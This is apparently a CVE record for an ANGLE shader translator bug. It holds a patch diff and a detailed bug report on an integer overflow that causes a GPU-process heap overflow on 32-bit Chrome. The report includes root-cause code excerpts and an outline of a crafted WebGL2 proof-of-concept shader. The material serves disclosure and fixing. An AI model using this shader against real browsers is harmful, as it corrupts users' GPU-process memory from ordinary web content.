CVE-2026-113273
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
forsrc/tests/gl_tests/GLSLTest.cpp |
modified |
Files Changed
src/compiler/translator/ParseContext.cppsrc/tests/gl_tests/GLSLValidationTest.cppsrc/tests/gl_tests/GLSLTest.cpp
Patch
From bea9f5ec4d253a3435ecb2b08e6054f220aeb80d Mon Sep 17 00:00:00 2001 From: Shahbaz Youssefi <[email protected]> Date: Wed, 16 Sep 2026 22:30:37 -0400 Subject: [PATCH] Translator: Fix off-by-one error in variable-size check Bug: chromium:525685715 Bug: chromium:561999377 Change-Id: I67146644ea6da349c5f8208d479e222cbc5eca24 Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8414095 Reviewed-by: Yuxin Hu <[email protected]> --- diff --git a/src/compiler/translator/ParseContext.cpp b/src/compiler/translator/ParseContext.cpp index 9da86d5..161dbd6 100644 --- a/src/compiler/translator/ParseContext.cpp +++ b/src/compiler/translator/ParseContext.cpp @@ -1985,7 +1985,7 @@ mValidatedVariableTypeSizes[*type] = variableSize; } - if (variableSize > kWebGLMaxVariableSizeInBytes) + if (variableSize >= kWebGLMaxVariableSizeInBytes) { error(line, "Size of declared variable exceeds implementation-defined limit", identifier); return false; @@ -2029,7 +2029,7 @@ case EvqPerVertexIn: case EvqPerVertexOut: - if (variableSize > kWebGLMaxPrivateVariableSizeInBytes) + if (variableSize >= kWebGLMaxPrivateVariableSizeInBytes) { error(line, "Size of declared private variable exceeds implementation-defined limit", diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp index 70c19ca..74b7fa4 100644 --- a/src/tests/gl_tests/GLSLTest.cpp +++ b/src/tests/gl_tests/GLSLTest.cpp @@ -25586,16 +25586,15 @@ // correctly. TEST_P(GLSLTest_ES3, DynamicIndexingOfVectorOnRightSideOfLogicalOr) { - const std::string &fragShader = - "#version 300 es\n" - "precision highp float;\n" - "out vec4 my_FragColor;\n" - "uniform int u1;\n" - "void main() {\n" - " bvec4 v = bvec4(true, true, true, false);\n" - " my_FragColor = vec4(v[u1 + 1] || v[u1]);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fragShader.c_str()); + constexpr char kFS[] = R"(#version 300 es +precision highp float; +out vec4 my_FragColor; +uniform int u1; +void main() { + bvec4 v = bvec4(true, true, true, false); + my_FragColor = vec4(v[u1 + 1] || v[u1]); +})"; + ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS); glUseProgram(program); GLint u1Loc = glGetUniformLocation(program, "u1"); ASSERT_NE(-1, u1Loc); @@ -25609,37 +25608,35 @@ // without a prefix. TEST_P(GLSLTest, RewriteElseBlockReturningStruct) { - const std::string &vs = - "attribute vec4 a_position;\n" - "struct foo\n" - "{\n" - " float member;\n" - "};\n" - "uniform bool b;\n" - "varying float outMember;\n" - "foo getFoo()\n" - "{\n" - " if (b)\n" - " {\n" - " return foo(0.5);\n" - " }\n" - " else\n" - " {\n" - " return foo(1.0);\n" - " }\n" - "}\n" - "void main()\n" - "{\n" - " gl_Position = a_position;\n" - " outMember = getFoo().member;\n" - "}\n"; - const std::string &fs = - "precision mediump float;\n" - "varying float outMember;\n" - "void main() {\n" - " gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, vs.c_str(), fs.c_str()); + constexpr char kVS[] = R"(attribute vec4 a_position; +struct foo +{ + float member; +}; +uniform bool b; +varying float outMember; +foo getFoo() +{ + if (b) + { + return foo(0.5); + } + else + { + return foo(1.0); + } +} +void main() +{ + gl_Position = a_position; + outMember = getFoo().member; +})"; + constexpr char kFS[] = R"(precision mediump float; +varying float outMember; +void main() { + gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0); +})"; + ANGLE_GL_PROGRAM(program, kVS, kFS); glUseProgram(program); GLint bLoc = glGetUniformLocation(program, "b"); ASSERT_NE(-1, bLoc); @@ -25653,14 +25650,14 @@ // test. TEST_P(GLSLTest, RemoveDynamicingIndexIndexPrecisionBug) { - const char vs[] = R"(void main() + constexpr char kVS[] = R"(void main() { mat3 tmp; vec3 res = vec3(0); for (int i = 0; res += 0., ivec3(0)[i], ivec3(tmp)[i], i < 0;); gl_Position = vec4(0.0); })"; - ANGLE_GL_PROGRAM(program, vs, essl1_shaders::fs::Red()); + ANGLE_GL_PROGRAM(program, kVS, essl1_shaders::fs::Red()); EXPECT_GL_NO_ERROR(); } @@ -25668,16 +25665,15 @@ // output. This test has a constant array constructor statement. TEST_P(GLSLTest_ES3, ConstArrayConstructorStatement) { - const std::string &fs = - "#version 300 es\n" - "precision mediump float;\n" - "out vec4 outColor;\n" - "void main()\n" - "{\n" - " int[1](0);\n" - " outColor = vec4(0.0, 1.0, 0.0, 1.0);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 300 es +precision mediump float; +out vec4 outColor; +void main() +{ + int[1](0); + outColor = vec4(0.0, 1.0, 0.0, 1.0); +})"; + ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS); glUseProgram(program); drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f); EXPECT_GL_NO_ERROR(); @@ -25688,16 +25684,15 @@ // output. TEST_P(GLSLTest_ES3, ArrayConstructorStatement) { - const std::string &fs = - "#version 300 es\n" - "precision mediump float;\n" - "out vec4 outColor;\n" - "void main()\n" - "{\n" - " outColor = vec4(0.0, 0.0, 0.0, 1.0);\n" - " float[1](outColor[1]++);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 300 es +precision mediump float; +out vec4 outColor; +void main() +{ + outColor = vec4(0.0, 0.0, 0.0, 1.0); + float[1](outColor[1]++); +})"; + ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS); glUseProgram(program); drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f); EXPECT_GL_NO_ERROR(); @@ -25707,16 +25702,15 @@ // Test an array of arrays constructor as a statement. TEST_P(GLSLTest_ES31, ArrayOfArraysStatement) { - const std::string &fs = - "#version 310 es\n" - "precision mediump float;\n" - "out vec4 outColor;\n" - "void main()\n" - "{\n" - " outColor = vec4(0.0, 0.0, 0.0, 1.0);\n" - " float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 310 es +precision mediump float; +out vec4 outColor; +void main() +{ + outColor = vec4(0.0, 0.0, 0.0, 1.0); + float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0)); +})"; + ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS); glUseProgram(program); drawQuad(program, essl31_shaders::PositionAttrib(), 0.5f); EXPECT_GL_NO_ERROR(); @@ -25727,17 +25721,16 @@ // indexing have correct data that subsequent traversal steps rely on. TEST_P(GLSLTest_ES3, VectorDynamicIndexing) { - const std::string &fs = - "#version 300 es\n" - "precision mediump float;\n" - "out vec4 outColor;\n" - "uniform int i;\n" - "void main()\n" - "{\n" - " vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);\n" - " outColor = vec4(0.0, foo[i], 0.0, 1.0);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 300 es +precision mediump float; +out vec4 outColor; +uniform int i; +void main() +{ + vec4 foo = vec4(0.0, 0.5, 0.0, 1.0); + outColor = vec4(0.0, foo[i], 0.0, 1.0); +})"; + ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS); glUseProgram(program); GLint iLoc = glGetUniformLocation(program, "i"); ASSERT_NE(-1, iLoc); @@ -25751,21 +25744,20 @@ // changed consistently when the user-defined function is changed to have an array out parameter. TEST_P(GLSLTest_ES31, ArrayReturnValue) { - const std::string &fs = - "#version 310 es\n" - "precision highp float;\n" - "uniform float u;\n" - "out vec4 outColor;\n" - "float[2] getArray(float f)\n" - "{\n" - " return float[2](f, f + 0.5);\n" - "}\n" - "void main()\n" - "{\n" - " float[2] arr = getArray(u);\n" - " outColor = vec4(arr[0], arr[1], 0.0, 1.0);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 310 es +precision highp float; +uniform float u; +out vec4 outColor; +float[2] getArray(float f) +{ + return float[2](f, f + 0.5); +} +void main() +{ + float[2] arr = getArray(u); + outColor = vec4(arr[0], arr[1], 0.0, 1.0); +})"; + ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS); glUseProgram(program); GLint uLoc = glGetUniformLocation(program, "u"); ASSERT_NE(-1, uLoc); @@ -25778,18 +25770,17 @@ // Test that writing parameters without a name doesn't assert. TEST_P(GLSLTest, ParameterWithNoName) { - const std::string &fs = - "precision mediump float;\n" - "uniform vec4 v;\n" - "vec4 s(vec4)\n" - "{\n" - " return v;\n" - "}\n" - "void main()\n" - "{\n" - " gl_FragColor = s(v);\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(precision mediump float; +uniform vec4 v; +vec4 s(vec4) +{ + return v; +} +void main() +{ + gl_FragColor = s(v); +})"; + ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), kFS); glUseProgram(program); GLint vLoc = glGetUniformLocation(program, "v"); ASSERT_NE(-1, vLoc); @@ -25802,21 +25793,20 @@ // Test that array dimensions are written out correctly. TEST_P(GLSLTest_ES3, ArrayDimensionsCompile) { - const std::string &fs = - "#version 300 es\n" - "precision mediump float;\n" - "uniform float uf;\n" - "out vec4 my_FragColor;\n" - "void main()\n" - "{\n" - " my_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n" - " float arr[2];\n" - " for (int i = 0; i < 2; ++i) {\n" - " arr[i] = uf * 0.25;\n" - " my_FragColor.x += arr[i];\n" - " }\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 300 es +precision mediump float; +uniform float uf; +out vec4 my_FragColor; +void main() +{ + my_FragColor = vec4(0.0, 0.0, 0.0, 1.0); + float arr[2]; + for (int i = 0; i < 2; ++i) { + arr[i] = uf * 0.25; + my_FragColor.x += arr[i]; + } +})"; + ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS); glUseProgram(program); GLint ufLoc = glGetUniformLocation(program, "uf"); ASSERT_NE(-1, ufLoc); @@ -25829,19 +25819,18 @@ // Test that initializing array with previously declared array will not be overwritten TEST_P(GLSLTest_ES3, SameNameArray) { - const std::string &fs = - "#version 300 es\n" - "precision highp float;\n" - "out vec4 my_FragColor;\n" - "void main()\n" - "{\n" - " float arr[2] = float[2](0.5, 1.0);\n" - " {\n" - " float arr[2] = arr;\n" - " my_FragColor = vec4(0.0, arr[0], 0.0, arr[1]);\n" - " }\n" - "}\n"; - ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str()); + constexpr char kFS[] = R"(#version 300 es +precision highp float; +out vec4 my_FragColor; +void main() +{ + float arr[2] = float[2](0.5, 1.0); + { + float arr[2] = arr; + my_FragColor = vec4(0.0, arr[0], 0.0, arr[1]); + } +})"; + ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS); glUseProgram(program); drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f); EXPECT_GL_NO_ERROR(); @@ -25852,7 +25841,7 @@ // struct mapping. TEST_P(GLSLTest_ES3, NonStructMemberAsFunctionArgument) { - const std::string &fs = R"(#version 300 es + constexpr char kFS[] = R"(#version 300 es precision highp float; out vec4 my_FragColor; struct InstancingData @@ -25871,7 +25860,7 @@ float result = dot(instances[index].data, vec4(0.25, 0.25, 0.25, 0.25)); my_FragColor = vec4(result, 0.0, 0.0, 1.0); })"; ... (file diff truncated)
Regression Test / PoC
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 70c19ca..74b7fa4 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -25586,16 +25586,15 @@
// correctly.
TEST_P(GLSLTest_ES3, DynamicIndexingOfVectorOnRightSideOfLogicalOr)
{
- const std::string &fragShader =
- "#version 300 es\n"
- "precision highp float;\n"
- "out vec4 my_FragColor;\n"
- "uniform int u1;\n"
- "void main() {\n"
- " bvec4 v = bvec4(true, true, true, false);\n"
- " my_FragColor = vec4(v[u1 + 1] || v[u1]);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fragShader.c_str());
+ constexpr char kFS[] = R"(#version 300 es
+precision highp float;
+out vec4 my_FragColor;
+uniform int u1;
+void main() {
+ bvec4 v = bvec4(true, true, true, false);
+ my_FragColor = vec4(v[u1 + 1] || v[u1]);
+})";
+ ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
glUseProgram(program);
GLint u1Loc = glGetUniformLocation(program, "u1");
ASSERT_NE(-1, u1Loc);
@@ -25609,37 +25608,35 @@
// without a prefix.
TEST_P(GLSLTest, RewriteElseBlockReturningStruct)
{
- const std::string &vs =
- "attribute vec4 a_position;\n"
- "struct foo\n"
- "{\n"
- " float member;\n"
- "};\n"
- "uniform bool b;\n"
- "varying float outMember;\n"
- "foo getFoo()\n"
- "{\n"
- " if (b)\n"
- " {\n"
- " return foo(0.5);\n"
- " }\n"
- " else\n"
- " {\n"
- " return foo(1.0);\n"
- " }\n"
- "}\n"
- "void main()\n"
- "{\n"
- " gl_Position = a_position;\n"
- " outMember = getFoo().member;\n"
- "}\n";
- const std::string &fs =
- "precision mediump float;\n"
- "varying float outMember;\n"
- "void main() {\n"
- " gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, vs.c_str(), fs.c_str());
+ constexpr char kVS[] = R"(attribute vec4 a_position;
+struct foo
+{
+ float member;
+};
+uniform bool b;
+varying float outMember;
+foo getFoo()
+{
+ if (b)
+ {
+ return foo(0.5);
+ }
+ else
+ {
+ return foo(1.0);
+ }
+}
+void main()
+{
+ gl_Position = a_position;
+ outMember = getFoo().member;
+})";
+ constexpr char kFS[] = R"(precision mediump float;
+varying float outMember;
+void main() {
+ gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);
+})";
+ ANGLE_GL_PROGRAM(program, kVS, kFS);
glUseProgram(program);
GLint bLoc = glGetUniformLocation(program, "b");
ASSERT_NE(-1, bLoc);
@@ -25653,14 +25650,14 @@
// test.
TEST_P(GLSLTest, RemoveDynamicingIndexIndexPrecisionBug)
{
- const char vs[] = R"(void main()
+ constexpr char kVS[] = R"(void main()
{
mat3 tmp;
vec3 res = vec3(0);
for (int i = 0; res += 0., ivec3(0)[i], ivec3(tmp)[i], i < 0;);
gl_Position = vec4(0.0);
})";
- ANGLE_GL_PROGRAM(program, vs, essl1_shaders::fs::Red());
+ ANGLE_GL_PROGRAM(program, kVS, essl1_shaders::fs::Red());
EXPECT_GL_NO_ERROR();
}
@@ -25668,16 +25665,15 @@
// output. This test has a constant array constructor statement.
TEST_P(GLSLTest_ES3, ConstArrayConstructorStatement)
{
- const std::string &fs =
- "#version 300 es\n"
- "precision mediump float;\n"
- "out vec4 outColor;\n"
- "void main()\n"
- "{\n"
- " int[1](0);\n"
- " outColor = vec4(0.0, 1.0, 0.0, 1.0);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+ constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+ int[1](0);
+ outColor = vec4(0.0, 1.0, 0.0, 1.0);
+})";
+ ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
glUseProgram(program);
drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
EXPECT_GL_NO_ERROR();
@@ -25688,16 +25684,15 @@
// output.
TEST_P(GLSLTest_ES3, ArrayConstructorStatement)
{
- const std::string &fs =
- "#version 300 es\n"
- "precision mediump float;\n"
- "out vec4 outColor;\n"
- "void main()\n"
- "{\n"
- " outColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
- " float[1](outColor[1]++);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+ constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+ outColor = vec4(0.0, 0.0, 0.0, 1.0);
+ float[1](outColor[1]++);
+})";
+ ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
glUseProgram(program);
drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
EXPECT_GL_NO_ERROR();
@@ -25707,16 +25702,15 @@
// Test an array of arrays constructor as a statement.
TEST_P(GLSLTest_ES31, ArrayOfArraysStatement)
{
- const std::string &fs =
- "#version 310 es\n"
- "precision mediump float;\n"
- "out vec4 outColor;\n"
- "void main()\n"
- "{\n"
- " outColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
- " float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str());
+ constexpr char kFS[] = R"(#version 310 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+ outColor = vec4(0.0, 0.0, 0.0, 1.0);
+ float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));
+})";
+ ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS);
glUseProgram(program);
drawQuad(program, essl31_shaders::PositionAttrib(), 0.5f);
EXPECT_GL_NO_ERROR();
@@ -25727,17 +25721,16 @@
// indexing have correct data that subsequent traversal steps rely on.
TEST_P(GLSLTest_ES3, VectorDynamicIndexing)
{
- const std::string &fs =
- "#version 300 es\n"
- "precision mediump float;\n"
- "out vec4 outColor;\n"
- "uniform int i;\n"
- "void main()\n"
- "{\n"
- " vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);\n"
- " outColor = vec4(0.0, foo[i], 0.0, 1.0);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+ constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+uniform int i;
+void main()
+{
+ vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);
+ outColor = vec4(0.0, foo[i], 0.0, 1.0);
+})";
+ ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
glUseProgram(program);
GLint iLoc = glGetUniformLocation(program, "i");
ASSERT_NE(-1, iLoc);
@@ -25751,21 +25744,20 @@
// changed consistently when the user-defined function is changed to have an array out parameter.
TEST_P(GLSLTest_ES31, ArrayReturnValue)
{
- const std::string &fs =
- "#version 310 es\n"
- "precision highp float;\n"
- "uniform float u;\n"
- "out vec4 outColor;\n"
- "float[2] getArray(float f)\n"
- "{\n"
- " return float[2](f, f + 0.5);\n"
- "}\n"
- "void main()\n"
- "{\n"
- " float[2] arr = getArray(u);\n"
- " outColor = vec4(arr[0], arr[1], 0.0, 1.0);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str());
+ constexpr char kFS[] = R"(#version 310 es
+precision highp float;
+uniform float u;
+out vec4 outColor;
+float[2] getArray(float f)
+{
+ return float[2](f, f + 0.5);
+}
+void main()
+{
+ float[2] arr = getArray(u);
+ outColor = vec4(arr[0], arr[1], 0.0, 1.0);
+})";
+ ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS);
glUseProgram(program);
GLint uLoc = glGetUniformLocation(program, "u");
ASSERT_NE(-1, uLoc);
@@ -25778,18 +25770,17 @@
// Test that writing parameters without a name doesn't assert.
TEST_P(GLSLTest, ParameterWithNoName)
{
- const std::string &fs =
- "precision mediump float;\n"
- "uniform vec4 v;\n"
- "vec4 s(vec4)\n"
- "{\n"
- " return v;\n"
- "}\n"
- "void main()\n"
- "{\n"
- " gl_FragColor = s(v);\n"
- "}\n";
- ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), fs.c_str());
+ constexpr char kFS[] = R"(precision mediump float;
+uniform vec4 v;
+vec4 s(vec4)
+{
+ return v;
+}
+void main()
+{
+ gl_FragColor = s(v);
+})";
+ ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), kFS);
glUseProgram(program);
GLint vLoc = glGetUniformLocation(program, "v");
ASSERT_NE(-1, vLoc);
@@ -25802,21 +25793,20 @@
// Test that array dimensions are written out correctly.
TEST_P(GLSLTest_ES3, ArrayDimensionsCompile)
{
- const std::string &fs =
- "#version 300 es\n"
- "precision mediump float;\n"
- "uniform float uf;\n"
- "out vec4 my_FragColor;\n"
- "void main()\n"
- "{\n"
- " my_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
- " float arr[2];\n"
- " for (int i = 0; i < 2; ++i) {\n"
... (truncated)
Original Bug Report
Integer overflow in ANGLE getConstantValue leads to heap overflow on 32-bit targets
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: In ANGLE’s shader translator, TIntermAggregate::getConstantValue() allocates constant storage with new TConstantUnion[n] after validating only the element count — the byte product n * sizeof(TConstantUnion) is unchecked in the array branch, and the struct branch has no guard at all. On 32-bit targets, element counts in [2^29, 2^32) pass the count check but overflow the byte computation; clang passes the SIZE_MAX sentinel to ANGLE’s pool operator new[], and because PoolAllocator::allocate()’s overflow checks are release-stripped ASSERTs, the size wraps (SIZE_MAX + 8 + 4 → 11 bytes) and an undersized block is returned. Compiling a crafted but ES-3.00-legal shader in a WebGL2 context then writes linearly out of bounds in GPU-process heap during parsing. Affected shipping configurations are 32-bit only: Android armeabi-v7a (unsandboxed GPU process) and 32-bit Windows (sandboxed GPU).
Affected files:
third_party/angle/src/compiler/translator/IntermNode.cpp:877-901— count-only CheckedNumeric guard (array branch,:884); unguardednew TConstantUnion[resultSize](struct branch,:900-901); OOBmemcpyloop (:887-896)third_party/angle/src/common/PoolAlloc.cpp:290-321— allocation-size arithmetic wraps; overflow checks at:294/:319areASSERT-only (no-ops in release)third_party/angle/src/compiler/translator/ParseContext.cpp:6639-6642—addConstructor()discards thecheckVariableSize()result for inline constructor expressions
Estimated timestamp from git blame: 2026-04-29
Summary
This is the residual blind spot of the crbug.com/498400132 hardening (shipped as the fix for CVE-2026-8519, rated Critical): that fix validates the element-count product with CheckedNumeric, but not the byte size the new[] expression actually computes. sizeof(TConstantUnion) is 8 on 32-bit (4-byte value union + 4-byte TBasicType), so any count in [2^29, 2^32) passes ValueOrDie() yet overflows n * 8. The struct branch never received a guard at all.
Preconditions — all default:
- WebGL2 context +
compileShader()on a ~270 KB ESSL 3.00 source; no extensions, no user interaction. The write happens during parsing, before compile status is even returned. - Chrome’s hardened-context size caps do not gate this path: declared const leaves stay under the 64 KB private-variable cap, and the huge constructors are inline expressions whose
checkVariableSizefailureaddConstructor()discards (diagnostic recorded, parse actions continue). - 32-bit
size_t(the byte product must exceed 2^32): Android armeabi-v7a and Win32. 64-bit builds are unaffected.
Executed evidence:
- Real Chrome (64-bit ASan build): web-content
compileShader()drives the GPU process toPoolAllocator::allocatewith the attacker-determined size 0x100000018, viaGpuChannel::ExecuteDeferredRequest→DoCompileShader→sh::Compile→yyparse→ fold →TIntermAggregate::getConstantValue; the GPU process dies and the page observeswebglcontextlost. (64-bitsize_tcannot wrap, so an ASan allocation-size limit was used purely to snapshot the call — this run proves end-to-end reachability, not the wrap.) - The identical translator source built for 32-bit (i386, production-parity
dcheck_always_on=false), driven by the stock in-tree translator with the WebGL2 spec: ASan reportsheap-buffer-overflow WRITE of size 4in the element init atIntermNode.cpp:901into an 11-byte region allocated atPoolAlloc.cpp:321— 11 = SIZE_MAX + 8 + 4 mod 2^32, the arithmetic fingerprint of the wrap. A 32-bit release (ThinLTO) build SIGSEGVs after linearly overwriting ~4.6 MB of live heap.
Note: fuzz builds define ANGLE_DISABLE_POOL_ALLOC and get a clean new (std::nothrow) failure instead of the wrap, so this bug class is structurally invisible to existing ANGLE fuzzers.
Root Cause Analysis
-
Count is checked, bytes are not:
third_party/angle/src/compiler/translator/IntermNode.cpp:877-901—// IntermNode.cpp:877-901 (abridged) if (isArray()) { size_t elementSize = mArguments.front()->getAsTyped()->getType().getObjectSize(); // http://crbug.com/498400132 angle::base::CheckedNumeric<size_t> checkedArraySize = elementSize; checkedArraySize *= getOutermostArraySize(); constArray = new TConstantUnion[checkedArraySize.ValueOrDie()]; // <-- n*8 byte product unchecked ... memcpy(static_cast<void *>(&constArray[elementOffset]), ...); // :893 — OOB once undersized ... } size_t resultSize = getType().getObjectSize(); constArray = new TConstantUnion[resultSize]; // :901 — struct branch, no guardFor n in [2^29, 2^32) the count is a valid
size_t(ValueOrDiepasses) butn * 8 ≥ 2^32. Per Itanium-family C++ ABI codegen, clang callsoperator new[]withSIZE_MAXon byte-size overflow (no array cookie: trivial destructor, unsizedoperator delete[]); even a hypothetical naive wrap would still request a tiny size, so the undersized-allocation outcome does not hinge on the sentinel. -
The pool allocator wraps SIZE_MAX into an 11-byte block:
third_party/angle/src/common/PoolAlloc.cpp:290-321—POOL_ALLOCATOR_NEW_DELETE(ConstantUnion.h:21,Common.h:54-57) routesnew TConstantUnion[]here:// PoolAlloc.cpp:294-321 (release: guard blocks and header size are 0) ASSERT(allocationSize >= numBytes); // overflow check — release no-op ... size_t numBytesToAlloc = allocationSize + mPageHeaderSkip + mAlignment; // SIZE_MAX + 8 + 4 wraps to 11 ASSERT(numBytesToAlloc >= allocationSize); // release no-op uint8_t *memory = new (std::nothrow) uint8_t[numBytesToAlloc]; // 11-byte block — succeedsANGLE
ASSERTcompiles out unless!NDEBUG/angle_assert_always_on(both off in official builds), and debug-only guard blocks are absent. Every path returns a valid pointer to a block orders of magnitude smaller than requested;allocate()never fails forSIZE_MAX. -
Parser size caps do not gate inline constructors:
ParseContext.cpp:6639-6642—addConstructor()callscheckVariableSize()but ignores the result;error()records a diagnostic without stopping parse actions. Blocking enforcement (including the hardened-contextrejectWebglShadersWithLargeVariablesoption Chrome sets for WebGL) exists only indeclareVariable(), which an inline constructor expression never reaches. -
Materialization fires during parsing: constructors whose arguments are const-symbol references stay unfolded (
TIntermAggregate::foldrequires the stronggetAsConstantUnion()check), but indexing the expression down to a scalar triggersTIntermBinary::foldatIntermNode.cpp:2251-2257—canReplaceWithConstantUnion()is true for the final scalar, so the weakgetConstantValue()recursion materializes the full aggregate. A struct wrapper defeats the fold short-circuit atIntermNode.cpp:2238, which fires only when the indexed aggregateisArray(). Independently,executeInitializer(ParseContext.cpp:3969) callsgetConstantValue()unconditionally on every initialized declaration. -
Linear OOB write in the GPU process: the outer struct constructor (2^29 elements) materializes through the unguarded
:900-901branch, and its inner array constructor through:884(count 2^29 passes the guard); both wrap to undersized pool blocks. Element zero-initialization, and thememcpyloop at:887-896if reached (32768 iterations × 131072 bytes of attacker-chosen constant data), write linearly past the block through adjacent GPU-process heap until an unmapped page faults.
Reproduction
- On a 32-bit Chrome configuration (Android armeabi-v7a device, or Win32), serve a page that creates a WebGL2 context and calls
gl.compileShader()on a ~270 KB ESSL 3.00 shader of this shape (all constructs legal at ES 3.00; declared leaves pass every cap):#version 300 es struct S { int a[16384]; }; // 64 KB leaf struct T2 { S s[32768]; }; // 16384 * 32768 = 2^29 elements void main() { const int A[16384] = int[16384](0x41414141, /* ...16384 literals... */); const S sA = S(A); int r = T2(S[32768](sA, /* ...32768 refs... */)).s[0].a[0]; // inline ctors; cap failure discarded gl_Position = vec4(float(r)); } - During parsing, the final scalar index folds and materializes the
T2andS[32768]constructors — 2^29 elements each, byte size wraps,PoolAllocatorreturns an 11-byte block. - Expected: the oversize constructor fails compilation cleanly (or the allocation fails) with nothing written.
Observed: demonstrated end to end in two halves over the same tree and shader. On 64-bit ASan Chrome, the web-content → GPU-process path fires exactly as described and requests 0x100000018 bytes inside PoolAllocator::allocate (reachability; 64-bit cannot wrap). On 32-bit builds of the identical translator, ASan reports heap-buffer-overflow WRITE of size 4 at IntermNode.cpp:901 into the 11-byte wrapped region allocated at PoolAlloc.cpp:321, and the 32-bit release build SIGSEGVs after the init loop linearly zeroes ~4.6 MB of live heap and runs off the end of the heap.
In the observed codegen the element-init loop faults before the memcpy stage, so the demonstrated write content is the zero-fill variant; reaching the attacker-content memcpy stage requires codegen that collapses the init loop into a memset whose 32-bit length (2^29 × 8) wraps to 0 — plausible under official PGO/LTO, not demonstrated. Either lowering is an out-of-bounds heap write; only the written bytes differ. A single-run 32-bit-Chrome reproduction requires 32-bit hardware.
Severity
high — Memory corruption (linear OOB heap write) in the GPU process, reachable from ordinary web content (WebGL2 default-on, no user interaction), not MiraclePtr-protected: squarely the high tier on sandboxed-GPU platforms (Win32). On Android arm32 the GPU process is unsandboxed and the translator is platform-neutral, which argues for critical; this is held at high because the demonstrated primitive is discounted twice — the write length is not controllable (it runs until it faults, so exploitation must race concurrent GPU-process threads against a guaranteed crash), and attacker-controlled write content depends on unverified compiler lowering (observed builds emit the zero-fill variant). Chrome rated the sibling count-overflow in this same function (CVE-2026-8519) Critical, so high is conservative; triage may reasonably upgrade on the Android configuration.
